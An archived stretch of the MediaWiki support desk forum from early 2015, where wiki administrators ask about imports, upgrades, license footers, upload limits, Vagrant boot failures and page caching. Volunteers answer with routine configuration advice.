AKA (ok)
Abbreviated cartridge flushing (ok)
... (100+ ok)
Main Page (ok)
Main Page: Welcome to Canon Printing wiki (ok)
Mea culpa (ok)
... (100+ ok)
YWMV (ok)
Template:Canon.printer.template (1 of 2 ok)
Template:Under.construction (2 of 2 ok)
File:110812 iP4500 wikilogo.png (seems ok although actual file has underscores)
... (5+ ok)
File:300 PrinterEvaluationTarget.jpg (seems ok)
A4 Letter size printers (as Exported ... didn't Import)
Category:A4 Letter size printers (tried to guess Prefix: didn't work)
Category:All-in-one printers
... (40+ didn't get imported ... [PEBKAC?])
Category:QY6-0084 print-head
Category:Under construction placeholder
Category:Unknown print-head
L d allan (talk) 12:36, 19 January 2015 (UTC)

XML or SQL Export/Import? Temptuousinsolence (talk) 08:59, 20 January 2015 (UTC)
Thanks for the reply.
I'm using the Special:Export page. That results in a relatively large time-stamped XML file (142kb). Then I use the Special:Import page to Import that XML file. I can see a list of pages, files, and templates imported. Categories are not among that list, and they are lots of missing categories in the Special:CategoriesWanted page. L d allan (talk) 15:32, 20 January 2015 (UTC)
Actually, I have tried both ... XML and SQL. Did you ever tried it according to the official documentation?
https://www.mediawiki.org/wiki/Manual:Importing_XML_dumps Temptuousinsolence (talk) 11:14, 22 January 2015 (UTC)
Thanks. The docs:
Special:Import can be used by wiki users with import permission (by default this is users in the sysop group) to import a small number of pages (about 100 should be safe). Trying to import large dumps this way may result in timeouts or connection failures.
I'll try with fewer pages. However, all the actual Pages, all the Files, and all the Templates were Import'ed, but none of the categories. L d allan (talk) 02:58, 23 January 2015 (UTC)
Import of Categories started working ok. I'm unsure why, or what happened. Anyway, disregard, and thanks. L d allan (talk) 12:47, 23 January 2015 (UTC)

[RESOLVED] HowTo? Change user-id with underscores to keep as underscores rather than converted to spaces? Possible?

My Administrator login: l_d_allan
Becomes : l d allan

Can this be "fixed" or is that how MW works?

If not, should I have used l-d-allan? Or l.d.allan?

My speculation is that it may be too late to change, and the possible repercussions might ripple throughout my small wiki. Or not?

My setup:

ver. | 1.21.1 (super rusty at Linux and too much of a MW newbie to figure out how to upgrade to latest/greatest ... sorry)
PHP: 5.3.24 (cgi-fcgi) MySQL: 5.0.96-log
link to immature, under-construction wiki: canprint.org/wiki

I have noticed that MW treats pages like My_test_page as pretty much equivalent to My test page. They seem almost like an alias. Mea culpa, it didn't occur to me until possibly too late that my_login would have the underscore replaced. L d allan (talk) 13:09, 19 January 2015 (UTC)

what kind of Linux? Do you run a server (shared or just some small hosting webspace? The mysql version is a bit outdated and also the php could use an upgrade.
Did you ever try apt-get update or apt-get dist-upgrade?
That with the underscore is just a display thing. Hover over your username in the thread and you see it with the underscores displayed. Temptuousinsolence (talk) 08:47, 20 January 2015 (UTC)
The website is hosted by GoDaddy. They provide Linux, PHP, and MySQL. The version is not under my control.
I can live with the underscore becoming a space. It's actually not an issue that causes any problems. L d allan (talk) 00:14, 21 January 2015 (UTC)
That's how MediaWiki works. If you want to rename your user, you can use Extension:Renameuser (already bundled in your installation, you may need to enable it in LocalSettings.php). Ciencia Al Poder (talk) 10:33, 20 January 2015 (UTC)
OK. Thanks. That was operator error on my part. Resolved. L d allan (talk) 12:50, 23 January 2015 (UTC)

Mirroring a Wiki

Hi folks,
since I was having issues to upgrade my wiki from 1.22 to 1.24 and I had to restore the old system. Therefore I am planning to create a sandbox wiki (at the same hosting company) with a 1:1 copy of the original wiki.
So far so good.
I was looking for explanations in the web, obviously there are several approaches of extensions at experimental level and many explanations, but overall it's rather rudimentary.
My straight-forward and "naive" way of doing this would be:

1. Copy the entire file structure from the original wiki into the root folder of the mirror wiki location
2. Create a new database (SQL)
3. Export the original wiki DB and import it into the mirror DB
4. Adjust the DB connection / user settings in the LocalSettings.php of the mirror wiki

Now you can eat me alive ;-)
How "naive" is this approach?
I guess there are many more things to adjust, right?

Many thanks for any useful hints!

Sochin67 (talk) 15:36, 19 January 2015 (UTC)

I am currently doing this with a productive system. Maybe you should considering emptying the extension folder and setting the entire setup up fresh. With GIT and composer. But afterwards all you do is check whether everything runs fine. I can tell you, because I am migrating from a much earlier state to a new one, there are a lot of things that you may not spot right on, but which need some time until you realize them. Make sure you document all steps that you have done and all the changes that have had to be applied. Temptuousinsolence (talk) 08:35, 20 January 2015 (UTC)
Great - many thanks!
I gave it a try and with some really minor adjustments it seems to work! Sochin67 (talk) 10:08, 20 January 2015 (UTC)

Trouble transcluding Wikipedia content into a private wiki

MediaWiki 1.24.1 PHP 5.4.36-0+deb7u3 (apache2handler) MySQL 5.5.40-0+wheezy1

Hi,

I'm trying to pull the introductions from some Wikipedia articles into a private wiki. I've installed the Labeled Section Transclusion Extension and set iw_trans and iw_local to true for the wikipedia entry. Then, in the appropriate pages, I've included something like:

{{#lsth:wikipedia:Wikimedia Foundation}}

But, instead of transcluding the content, all I get is a link the article.

What am I doing wrong? Is there a better way to pull in Wikipedia content (it needn't necessarily be kept up to date). Mrhappy888 (talk) 18:43, 19 January 2015 (UTC)

Have you set Manual:$wgEnableScaryTranscluding to true?
It's possible that Labeled Section Transclusion doesn't support cross-wiki transclusion. Does {{wikipedia:Wikimedia Foundation}} work correctly? This, that and the other (talk) 00:34, 21 January 2015 (UTC)
A cross-wiki transclusion feature was proposed in 2008, but it is not yet implemented. Jarble (talk) 19:36, 28 May 2016 (UTC)
Cross-wiki transclusion ("scary transcluding") exists, but is not performant and is disabled on most MediaWiki installations. As I noted above, it's likely that Labeled Section Transclusion doesn't support cross-wiki transclusion at all. This, that and the other (talk) 11:17, 29 May 2016 (UTC)

Clear the cache of Linker::link() ?

How can I clear the cache of Linker::link() for a page after editing?

I'm adding class names to $attribs['class'] relevant to the page content. After editing, these sometimes don't update. Subfader 23:38, 19 January 2015 (UTC) 23:37, 19 January 2015 (UTC)

Data Manager Inbox - numeric formatting

Hi

Does the numeric formatting work in the 'View in Inbox' mode within a Data Manager Inbox, i.e. display a numeric attribute to a specific number of DPs?

I'm currently working on version 8.1

Regards

Andy 91.214.5.128 10:59, 20 January 2015 (UTC)

Defining a new query string

My setup:

  • mediawiki 1.23.5
  • php 5.5.17 (apache2handler)
  • MYSQL (5.6.21)


How can I do something like this for my own wiki?

https://www.mediawiki.org/w/index.php?title=Project:Support_desk&offset=20150117005827&limit=20

Is there anything special that I have to do to be able to use the ampersand ('&') in the URL? I know there is a hook for unknown actions, but how would I be able to use something like '&offset=100' as used on the support desk project? Mfort123 (talk) 19:46, 20 January 2015 (UTC)

I've noticed that I get a page redirect when I try to use unknown query strings. I guess I could just write an event handler for the mediaWikiPeformAction hook and make use of the webRequest object to get the behavior that I want. Mfort123 (talk) 20:21, 20 January 2015 (UTC)
All you need to do is use
 $array=$request->getQueryValues();

in the mediaWikiPerformAction event handler. Mfort123 (talk) 21:17, 20 January 2015 (UTC)

So I'm trying to put my license information on the footer of the website. I was successfully able to add the $wgRightsUrl into my localsettings.php file, but I literally see nothing new that has changed. Two questions:

What exactly did altering the Localsettings.php do? How can I get my license stated on the footer of the page like that of MediaWiki?

Thank you for your help and time. 71.10.173.151 23:10, 20 January 2015 (UTC)

So I figured out how to put the license information in the footer, but now I am trying to find out how to put a link for the actual license.
Can anyone help? 71.10.173.151 01:16, 21 January 2015 (UTC)
So I put $wgRightsText successfully into my Localsettings.php file. The changes took effect. I was trying to figure out how I can put a link on that footer text, so I go to the MediaWiki:Copyright page. In that page, it said "Content can be available for under 1 dollar." I didn't want that. I removed it. After removing it, the SwgRightsText stopped displaying its text. The MediaWiki specifically stated that if you wanted to added links to the text, you had to use wiki code (doesn't show an example) as well as HTML in the copyright page.
My plan was to use SwgRightsText to provide the licensing statement, and then use HTML to provide a link to the license that I am using. Why the hell is the SwgRightsText not showing up? It was showing up before!
PLEASE someone help! 71.10.173.151 01:33, 21 January 2015 (UTC)
The SwgRightsText is now on the bottom right on the screen, and I want it on the bottom left with a link to the license. 71.10.173.151 01:39, 21 January 2015 (UTC)
Set $wgRightsIcon. Here's a sample of a license set for LocalSettings>php
$wgRightsPage = ""; # Set to the title of a wiki page that describes your license/copyright
$wgRightsUrl = "http://creativecommons.org/licenses/by-nc-sa/3.0/";
$wgRightsText = "Attribution-NonCommercial-ShareAlike 3.0 Unported";
$wgRightsIcon = "http://i.creativecommons.org/l/by-nc-sa/3.0/88x31.png";
Mlpearc (open channel) 01:20, 21 January 2015 (UTC)
Thank you so much for your help!
Anyways you could help me provide a link in the footer of the page? I'm trying to get Creative Commons Attribution License to be linked to the licensed page. 71.10.173.151 01:54, 21 January 2015 (UTC)

[RESOLVED] Order of MW upgrade (1.22 to 1.24) + extensions

Dear all,
I'm having some difficulties in upgrading Mediawiki from 1.22 to 1.24. I'm struggling to understand what is the best order for upgrading MW and the related extensions.
To my understanding I should not update the extensions to the latest version before the MW update as this might stop MW to work, right?
On the other hand I am seeing the same issues if I do it the other way around (MW update first). After this my wiki only comes up with error messages that are related to incompatible extensions.
What I did so far: I deleted the whole wiki files (except the "images" folder and LocalSettings.php) and copied the new MW 1.24 file structure to the server. After this I moved back my LocalSettings.php to the root dir.
It even looks like that this prevents the maintenance/update.php script from running (apart from the html errors mentioned above I am also seeing similar error messages in PuTTY when trying to run this script).
Therefore I am a bit stuck and don't really know in which orders I should do the updates?!?
Could anybody please give me some hints?
BTW - compatibility of MW 1.24 and PHP/SQL has been confirmed.
Many thanks!
Sochin67 (talk) 09:18, 21 January 2015 (UTC)

Manual:Upgrading should explain it, but anyway, the usual option is to unpack new files on an empty folder instead of the existing installation, download current versions of extensions, and then copy the LocalSettings and other modifications (images), making that folder the published directory on the webserver (or switching between old and new folders).
Your steps seem to go in the right direction. What errors do you get? Ciencia Al Poder (talk) 10:43, 21 January 2015 (UTC)
Thanks for your response, the error is:
[0a6dfe65] 2015-01-21 23:11:40: Fatal exception of type MWException

I have enabled exception details in LocalSettings.php and now it showing me that obviously Magic Quotes are enabled - so this seems to be the problem. Therefore I have just contacted my hoster and asked whether this "feature" can be disabled. Sochin67 (talk) 23:14, 21 January 2015 (UTC)
Problem was fixed by disabling Magic Quotes!
Thanks to Ciencia Al Poder anyway! Sochin67 (talk) 10:43, 22 January 2015 (UTC)

Show WikiTextEditor and Show RichTextEditor option not avaliable

This post by Revibot was moved on 2015-07-11. You can find it at Extension talk:WYSIWYG/2015#h-Show_WikiTextEditor_and_Show_RichTextEditor_option_not_avaliable-2015-01-12T09:45:00.000Z. Ciencia Al Poder (talk) 10:36, 21 January 2015 (UTC)

[RESOLVED] Username with @ sign inside

Hello, our usernames are taken from another application with the syntax "user@domain.de" ... this works perfect but if we try to change the userrights per specialpage, the mediawiki tells us its not possible because the user is not local ... it looks like he interpreted the @ as other domain.

How can i change the rules for usernames and allow the "@" signs in it?

Thanks al lot :)

Gerd 192.166.53.201 15:22, 21 January 2015 (UTC)

Hi Gerd,
you can set
 $wgInvalidUsernameCharacters = '';
in LocalSettings.php. This would break interwiki stuff, but if you only have one single wiki and do not use the interwiki functionality, then this won't be a problem. See Manual:$wgInvalidUsernameCharacters for more details. 88.130.78.95 18:54, 21 January 2015 (UTC)
Perfect! Thanks a lot! I use:
$wgInvalidUsernameCharacters = ' ' ;
$wgUserrightsInterwikiDelimiter = ' ';
and now its possible to change userrights for our new users with "@" in usernames. We doesnt use Interwiki functionality :o) 192.166.53.201 07:36, 22 January 2015 (UTC)

[RESOLVED] How to italicize article titles?

How do we go about italicizing article titles? I see discussion of using a template to accomplish this task, but it doesn't seem clear.

MediaWiki 1.24.1 PHP 5.6.3 MySQL 5.6.21 24.30.101.19 18:46, 21 January 2015 (UTC)

I am not exactly sure about what you want to do. If you want to have the article names of every article (e.g. the name "Manual:Upgrading" on Manual:Upgrading) written in italics, then I would edit the wiki page MediaWiki:Common.css in your wiki and add according CSS rules to it, so that the titles get an italic style. 88.130.78.95 18:52, 21 January 2015 (UTC)
To change that on a single page, you can use {{DISPLAYTITLE:''{{FULLPAGENAME}}''}} Ciencia Al Poder (talk) 10:53, 22 January 2015 (UTC)
@Ciencia Al Poder. That worked perfectly. Thanks! 2601:0:9A00:729:94EC:9491:8D88:F0D0 13:05, 22 January 2015 (UTC)

Wikicode interpreter in java

Hi All

I would like to write a interpreter in java for wikicode to show in my viewer. The viewer is nearly a HTML-Viewer. Is there any documentation or technics to do this. I mean I started withit and recognized that there are a lot of specific templates like {{quote..... and they are also different in every language. (en -> {{quote german -> {{Zitat etc...

or is there any list of all templates that exists for a language ?

You see I don't know howto start and hope somebody can help.

kind regards Solvapps (talk) 10:06, 22 January 2015 (UTC)

You may need to reimplement what parser.php does...
Do you really want to create a MediaWiki parser for Java? if you only need to display the HTML representation of pages of an existing wiki, you may want to look at API:Parsing wikitext Ciencia Al Poder (talk) 11:01, 22 January 2015 (UTC)
Thanks a lot. This probably will help. The Parsing API is not the solution for me, because I will have my own output. (No HTML).
What would be very helping is to have a list of all templates and the specification for each language.
Where can I find the parser.php (download) ? 176.127.146.117 07:59, 23 January 2015 (UTC)
Does this noe suit your purpose?
http://help.eclipse.org/luna/index.jsp?topic=%2Forg.eclipse.mylyn.wikitext.help.ui%2Fhelp%2Fdevguide%2FUsing-The-WikiText-Parser.html Temptuousinsolence (talk) 12:09, 22 January 2015 (UTC)
Thanks a lot. This probably will help. I took a look at it, but I am not sure if this is for me. But it is good to know, that there exists a java api. thanks.
What would be very helping is to have a list of all templates and the specification for each language.
Where can I find the parser.php (download) ? 176.127.146.117 08:07, 23 January 2015 (UTC)
Parser.php can be found in our repository :)
https://github.com/wikimedia/mediawiki/blob/master/includes/parser/Parser.php Florianschmidtwelzow (talk) 09:41, 23 January 2015 (UTC)

Hi there

Produkt Version MediaWiki 1.23.2 PHP 5.3.29 (cgi-fcgi) MySQL 5.1.73-cll

I have a problem with my wiki. when i use the Search function the page comes up blank / white. All other pages on the wiki works like a charm, it's only when i use the search it comes up White / Blanks. If i type something it the searchfield and press "Go to" then it also works.

Anyone know what this is and how i can fix it ? 192.176.230.1 11:06, 22 January 2015 (UTC)

Please add the following at the same spot of the LocalSettings.php
<?php
# Enable error reporting
error_reporting( E_ALL );
ini_set( 'display_errors', 1 );
and then try to use the search again. Temptuousinsolence (talk) 12:07, 22 January 2015 (UTC)
Hi. When i added that i can "use" the search, however. If i search for something that exists in the wiki already i get the following error
Fatal error: Call to undefined method MySQLSearchResultSet::getInfo() in /home/wiki/public_html/includes/specials/SpecialSearch.php on line 507
What is this ? 192.176.230.1 12:24, 22 January 2015 (UTC)
Did you change something recently? Did you make a software-upgrade or changed a version of a mediawiki extension? Temptuousinsolence (talk) 12:37, 22 January 2015 (UTC)
I uppgradera Mediawiki a long time ago but other than that i have made no changes at all other then creating new wikipages. 192.176.230.1 12:48, 22 January 2015 (UTC)
And in terms of the server environment? Did you run a MySQL-update? Temptuousinsolence (talk) 12:55, 22 January 2015 (UTC)
I have not but my provider might have. IF yes, is it fixable? 192.176.230.1 13:20, 22 January 2015 (UTC)
It seems, that you did something from in the upgrade process. Have you followed Upgrade Florianschmidtwelzow (talk) 14:22, 22 January 2015 (UTC)
Yes i did follow that whe i upgraded. 192.176.230.1 15:25, 22 January 2015 (UTC)
The error is
Fatal error: Call to undefined method MySQLSearchResultSet::getInfo() in /home/wiki/public_html/includes/specials/SpecialSearch.php on line 507
This error does not tell me much. If you could provide a backtrace, that would help. 88.130.98.62 20:09, 22 January 2015 (UTC)
There are several things that you could do:
  • either you post the class or function that is responsible for it
  • or you upload the file to pastbin and add the link to it here.
Well .... I used egrep on all wikis that I run and it appears that there is a function in some versions in this file:
  • includes/search/SearchMySQL.php
Maybe you could post your method ... in order to make a comparison possible.
Yet, somehow I feel it would be better for you to start the wiki from scratch. Temptuousinsolence (talk) 08:58, 23 January 2015 (UTC)

Installation issues No /etc/mediawiki directory

Hi, I tried to install MediaWiki 1.24 onto my Ubuntu 14.04.1 LTS laptop. I already have LAMP installed and in use.

The installation instructions involve unpacking a tgz file - (not using the apt-get method).

But, in the online instructions it says to edit a config file in the /etc/mediawiki directory.

BUT - I don't have an /etc/mediawiki directory !!!

Obviously there is a step missing in the instructions !!


Regards

Nick 82.219.14.93 13:11, 23 January 2015 (UTC)

Hi Nick,
which tutorial do you follow and which file should you edit?
Since you say it is located inside the mediawiki/ directory, I guess it is LocalSettings.php? 88.130.98.62 13:42, 23 January 2015 (UTC)
Hi,
I followed the instructions at:
http://www.mediawiki.org/wiki/Manual:Running_MediaWiki_on_Ubuntu
Regards
Nick 82.219.14.93 13:50, 23 January 2015 (UTC)
I've checked in the /var/log/apacahe2/error.log file, and I see this error:
[Fri Jan 23 13:51:02.156433 2015] [:error] [pid 16920] [client 127.0.0.1:53038] PHP Fatal error: require_once(): Failed opening required '/var/lib/mediawiki/includes/Init.php' (include_path='.:/usr/share/php:/usr/share/pear') in /usr/share/mediawiki/includes/WebStart.php on line 94
I don't have a /var/lib/mediawiki/includes/Init.php file.
AND - what is /usr/share/mediawiki directory doing on my system ??? I unpacked the tgz file into /var/lib/mediawiki !!!! 82.219.14.93 13:55, 23 January 2015 (UTC)
Ah,
Looks like my laptop came with /usr/share/mediawiki preinstalled.
Probably manually installing mediawiki is scewing things up.
Nick 82.219.14.93 15:01, 23 January 2015 (UTC)

How can i do it work?

I already installed the dependences and i dont know to install the mediawiki, how can i do it? 200.255.122.231 17:26, 23 January 2015 (UTC)

Anndd I already put it into htdocs on apache, but nothing happend. Am i doing it wrong? 200.255.122.231 17:28, 23 January 2015 (UTC)
See Installation! 88.130.113.102 18:07, 23 January 2015 (UTC)

Purging cache.

Dear all.

When I try to purge my cache with ?action=purge, I get 404 file or directory not found. Have anybody experienced that? It's probably related to PhP, but I am not able to figure it out. Everything else works fine, but It's hard to update my templates.

Regards Pompelpilt (talk) 10:16, 24 January 2015 (UTC)

Hi!
Does it work for other ?action=xxx URLs? E.g. for action=history? If not, this might be a problem with Short URLs.
For the template updates: After you updated a template, the pages, which transclude it should iIrc be purged automatically - there should be no need to do that manually... 88.130.113.102 12:45, 24 January 2015 (UTC)
Thanks miss/mr 88.130.113.102.
After reading about short URLs, I guess that's most likely the case. ?action=xxx doesn't work either. I have some investigation and testing to do here. Again, thanks! Pompelpilt (talk) 20:48, 24 January 2015 (UTC)
For the template updates: After you updated a template, the pages, which transclude it should iIrc be purged automatically - there should be no need to do that manually...
I understand what your'e saying, but don't understand why pages should be purged automatically. I was working with my templates (in template namespace) in lab environment, and changes didn't kick in as expected. I came across the ?action=purge option and they then worked. In my production environment though, purging doesn't work. Pompelpilt (talk) 20:59, 24 January 2015 (UTC)
I have recently set up Short URLs for one of my wikis and I know that (if you use Apache) the result of following this guide is working. 88.130.79.83 12:59, 25 January 2015 (UTC)
See Project:Support desk/Flow/2014/10#h-How_to_check_if_a_page_is_purged?-2014-10-05T13:48:00.000Z Subfader (talk) 21:26, 26 January 2015 (UTC)

How i install Visual Editor extension?

This post by タチコマ robot was moved on 2015-06-15. You can find it at Extension talk:VisualEditor/2015#h-How_i_install_Visual_Editor_extension?-2015-01-24T16:40:00.000Z. Florianschmidtwelzow (talk) 18:37, 24 January 2015 (UTC)

Blog magazine like display

Dear,

I'm not so sure I should post this type of question here. Well, if someone had so ideas...

I display a list of recent / most visited articles using Extension:DynamicPageList (third-party). I'm tring to transform these list into blog / magazine like frontpage.

I would like to add :

  • An extract of the first lines of the article. I tried to use include=* & includemaxlength=[n] parameters. This generate an extract with formating applied. This result in a non-esthetic result for the list. I'm looking for a way to kill formating. I did not find a CONTENT variable I could use in format=.
  • A small image, using first img tag available in article content. No clue on how to generate this for the moment.

If someone have any idea on one of these two points it would be really helpfull.

Thanks Thibdx (talk) 22:43, 24 January 2015 (UTC)

Sorry for multiple posting. Clicking save did not do anything, I ended clicking multiple time. Thibdx (talk) 22:46, 24 January 2015 (UTC)

[RESOLVED] Mediawiki Upload Size Issue

Good evening. I am having issues with my mediawiki file upload size. I have a fresh install of MW1.24.1, on a shared hosting server. Trying to upload an XML backup, I can't upload it; I get the 'file too large' message. When I go to do a regular upload, it displays 100B as the upload limit. The only adjustments I've made to LocalSettings.php are enabling editing only to registered emails, removed all skins but vector, removed anonymous editing and the require_once entries for my extensions to be usable. My server, verified through phpinfo() has the upload limits set to 100MB (I don't need it that high, but we're trying to find the bug). Stats are as follows:

  • PHP: 5.4.29
  • Server API: CGI/FastCGI
  • MW Install: 1.24.1
  • Extensions: CollapseVector, Delete Batch, FancyBoxThumbs, MSUpload, ReplaceText
  • No adjustments to file size in LocalSettings.php
  • phpinfo() returns: post_max_size 100M, upload_max_filesize 100MB, file uploads ON

I have not been able to find anything, and nothing seems in error on the MW side or the PHP side. Any help would be appreciated. My shared hosting is looking into it as well, but I'm concerned that something is incorrect in MW. 75.88.176.217 00:23, 25 January 2015 (UTC)

Additionally my host has doublechecked my PHP.ini and we cannot find anything on their end. Is there any way that I can search out the origin point of where the 100B upload limit is noted, IE what calls bring it up in the specialpage:upload? 75.88.176.217 03:56, 25 January 2015 (UTC)
Could you double-check if upload_max_filesize is set to 100MB or 100M? Note that in php.ini, units don't have the "B", and that may be confusing MediaWiki. Ciencia Al Poder (talk) 16:03, 25 January 2015 (UTC)
Yeah, that was it. Once we fixed that all was well. We caought it about 2AM this morning. Thanks! 75.88.176.217 22:10, 25 January 2015 (UTC)

The guest machine entered an invalid state while waiting for it to boot, vagrant virtual box error

Hi all, I am encountering problems in installing vagrant in virtual box,when starting the machine after virtual box boot screen it get stuck,nothing happens Installation steps were as follows:-

C:\Users\pratikbsp\vagrant>vagrant up
Bringing machine 'default' up with 'virtualbox' provider...
==> default: Box 'trusty-cloud' could not be found. Attempting to find
ll...
    default: Box Provider: virtualbox
    default: Box Version: >= 0
==> default: Adding box 'trusty-cloud' (v0) for provider: virtualbox
    default: Downloading: https://cloud-images.ubuntu.com/vagrant/trus
/trusty-server-cloudimg-amd64-vagrant-disk1.box
==> default: Box download is resuming from prior download progress
    default: Progress: 100% (Rate: 48923/s, Estimated time remaining:
==> default: Successfully added box 'trusty-cloud' (v0) for 'virtualbo
==> default: Importing base box 'trusty-cloud'...
==> default: Matching MAC address for NAT networking...
==> default: Setting the name of the VM: vagrant_default_1422189835297
==> default: Clearing any previously set forwarded ports...
==> default: Clearing any previously set network interfaces...
==> default: Preparing network interfaces based on configuration...
    default: Adapter 1: nat
    default: Adapter 2: hostonly
==> default: Forwarding ports...
    default: 80 => 8080 (adapter 1)
    default: 22 => 2222 (adapter 1)
==> default: Running 'pre-boot' VM customizations...
==> default: Booting VM...
==> default: Waiting for machine to boot. This may take a few minutes.
The guest machine entered an invalid state while waiting for it
to boot. Valid states are 'starting, running'. The machine is in the
'poweroff' state. Please verify everything is configured
properly and try again.

If the provider you're using has a GUI that comes with it,
it is often helpful to open that and watch the machine, since the
GUI often has more helpful error messages than Vagrant can retrieve.
For example, if you're using VirtualBox, run `vagrant up` while the
VirtualBox GUI is open.

Pratikbsp (talk) 14:00, 25 January 2015 (UTC)

You may also want to bring up your question on https://www.mediawiki.org/wiki/Talk:MediaWiki-Vagrant AKlapper (WMF) (talk) 17:24, 27 January 2015 (UTC)
HI ,
i am also facing the same problem ...
If the provider you're using has a GUI that comes with it,
it is often helpful to open that and watch the machine, since the
GUI often has more helpful error messages than Vagrant can retrieve.
For example, if you're using VirtualBox, run `vagrant up` while the
VirtualBox GUI is open.
root@sdnhubvm:/home/ubuntu/temp/opencontrail# vagrant resume contrail
==> contrail: Waiting for machine to boot. This may take a few minutes...
The guest machine entered an invalid state while waiting for it
to boot. Valid states are 'restoring, running'. The machine is in the
'poweroff' state. Please verify everything is configured
properly and try again.
If the provider you're using has a GUI that comes with it,
it is often helpful to open that and watch the machine, since the
GUI often has more helpful error messages than Vagrant can retrieve.
For example, if you're using VirtualBox, run `vagrant up` while the
VirtualBox GUI is open.
kindly let me know how to resolve
Thanks
Jayachandran 106.76.28.139 13:24, 12 March 2015 (UTC)

ResourceLoader is very slow on initial visit (low traffic wiki)

On my private wikt (1 user) and on the company wiki the ResourceLoader takes ~4-5 seconds to load on the initial loading.
This is only on the first load after no traffic for a while, then browsing around is fast.
  • private wiki: MW 1.24.1, PHP 5.5.13 + Opcache
  • company wiki: MW 1.19, PHP 5.? + APC
How can this be avoided? Subfader (talk) 15:40, 25 January 2015 (UTC)
Would be interesting to know, which parts exactly are slow. Is it the creation of CSS stylesheets? Or of scripts?
I guess this happens when the according part has been purged out of the cache and so needs to be recreated. I would guess increasing the cache lifetime should be a workaround. 88.130.79.83 15:45, 25 January 2015 (UTC)
It seems to be the javascript part:
I pretty much use everything from User:Aaron Schulz/How to make MediaWiki fast if possible. Subfader (talk) 20:01, 25 January 2015 (UTC)
You might get even better debug output when appending &debug=true (if there is already a question mark in the URL) or ?debug=true (if there is no previous question mark in the URL) to the URL. AKlapper (WMF) (talk) 17:49, 27 January 2015 (UTC)
I have exactly this same problem on my wiki - initial slow loading on first load of a page after an unspecified period of no activity. I was wondering was a solution ever found to this? Coachbyapp (talk) 03:12, 5 October 2015 (UTC)
That's probably your webserver unloading the application from memory when no request is made in the last XX minutes. Have you checked your server configuration? Ciencia Al Poder (talk) 09:15, 5 October 2015 (UTC)

Gadget scripts missing after migration without upgrade

We have recently migrated (1.13 on AIX with PHP-5.2.6 (apache) and MySQL 5.1.26-rc) to (1.19 on MSW/IIS with PHP-5.3.29 and MySQL-5.1.73), and can’t find the gadget scripts (I was particularly looking forward to having Navigation pop-ups). Extension:Gadgets gives me the impression that the scripts are meant to be present in the installation. I suppose that the scripts reside in the wiki DB as pages, and hence suspect that dropping and loading the DB must have lost them.

Does this mean that the colleague who migrated the DB overlooked something in the instructions? Looking at Manual:Moving a wiki, I see one is meant to upgrade the old server before migration: would this explain it? (Perhaps a warning there about the consequences would be in order.) And what does one do if the old server has run out of space: migrate to the old version and then upgrade? Or if it has failed totally?

All the same, the new wiki appears to be running quite satisfactorily, except that it reports several spurious Wanted pages, which I thinking come from treating a “:” as part of the page name when the pages actually exist in an explicit namespace. How confident can we be of the integrity of the new wiki?

Am I right in thinking that what I need to do now is (as a Bureaucrat) to create pages in our wiki such as MediaWiki:Gadget-edittop.js and MediaWiki:Gadget-popups.js using cut-and-paste from the same pages on this site (mediawiki.org)? Or is there a better way of going about it (if we do not need to redo the migration)? PJTraill (talk) 15:31, 26 January 2015 (UTC)

The problem of "missing" pages -- some that exist with the literal ":" in the name -- is usually caused by old pages conflicting with new namespaces.
For example, if you start your wiki with pages like "Meta:Foo" and "Meta:Bar", it works great... until you decide to create a "Meta" namespace.
See Dealing with existing pages for this. MarkAHershberger(talk) 17:53, 26 January 2015 (UTC)
Thanks, but this is the other way round: e.g. “Space:Dust” exists, in the namespace “Space”, but it is listed as wanted, as though it thought “:” was part of the name. PJTraill (talk) 21:37, 26 January 2015 (UTC)
How do you have your namespaces set up? Could you paste that snippet of your code?
Is your wiki public? Could you point to the problematic page? MarkAHershberger(talk) 23:43, 26 January 2015 (UTC)
I am afraid it is not public (accessed via a VPN, company confidential). The namespaces are defined as 100 to 135 (many unused!) with the last statements in LocalSettings.php starting with:
$wgExtraNamespaces[100] = "Xxxx";
$wgExtraNamespaces[101] = "Xxxx_talk";
The first listed page looks like “Xxxx:XX-xxxxxx (14 links)”, where Xxxx (=100) does not clash with any Extension default namespaces; the page exists and has going on for 1,000 links about which at a glance nothing odd strikes me.
But if upgrading to 1.19 (or 1.23) on AIX (AIX = 5.3 = quite old) would be straightforward, do you not think that is a better way to go?
(4,570 total pages, mostly small, 96 files, the DB is some 137 Mb, if it is all held in MySQL/data/name – though on AIX du -m reports 141.78!)
I presume this would also get the Gadgets working; loading them manually sounds a lot less reliable, as they may need tweaks or other components. PJTraill (talk) 10:16, 27 January 2015 (UTC)
If you can get a recent version of PHP for your "quite old" version of AIX, then you should be able to upgrade on that system without a problem.
Another thing to think about is any extensions. Did you update them to compatible versions? MarkAHershberger(talk) 00:15, 29 January 2015 (UTC)
I can apparently fix the (lesser) (un)Wanted Pages problem by finding the pages with
select pl_title, page_title from page, pagelinks where page_id = pl_from and pl_namespace = 0 and pl_title like '%:%';
and editting the pages (saving with no changes) this throws up.
Is there a query (for 1.19) with which I can clear the caches force a new parse of all pages thus found? (P.S. Just spotted Manual:Database layout etc., but I don’t see the answer.) PJTraill (talk) 11:10, 27 January 2015 (UTC)
I think those pages in the mediawiki namespace should be imported along with the rest of your page.
That said, if you want to import pages, I wrote an extension to handle part of this. It isn't complete, and I haven't recently used it, but you may find it useful.
Oh, and you should really udate to 1.23. 1.19 won't be supported after 1.25 comes out. MarkAHershberger(talk) 18:01, 26 January 2015 (UTC)
Thanks for the tip about 1.23. Actually I am starting to think we probably should redo the migration properly, i.e. starting with an upgrade of the old server. PJTraill (talk) 21:45, 26 January 2015 (UTC)

Find talk pages by the categorization of its associated content NS?

I'm trying to hack Special:RecentChanges with $wgAllowCategorizedRecentChanges = true.

As stated in T85745, using the "associated namespace" option does not find Talk:Foo (uncategorized) when searching for categories of Foo.

I want to fix this but before I try my usual trial & error struggle with MySQL: Is there a standard function for this already? Subfader (talk) 21:20, 26 January 2015 (UTC)

Wikitemplates interpretation/visualisation

Hi All

I try to write my own Wikipediacode interpreter. I don't want to use a 3rd Party code or software.

My problem is, that I don't know what kind of templates Template:Templatesname exists for a specific language.

For example in french there are so many different templates, which do not exist in english: - {{Voir|..... - VI -> VI siecle - {{-m|II -> IIe millénaire av. J.‑C. etc...

My questions: - Who is defining these templates ? - Howto get a complete list of available templates for each language ?

thanks a lot and kind regards 176.127.146.117 17:51, 27 January 2015 (UTC)

Is this a good idea? MediaWiki is (or at least contains) the definitive interpreter, and you are trying to do its job!
Although you presumably consider it 3rd party software, it probably contains pretty much everything you need.
Incidentally it is not just Wikipedia-code, that is just the best known MediaWiki application.
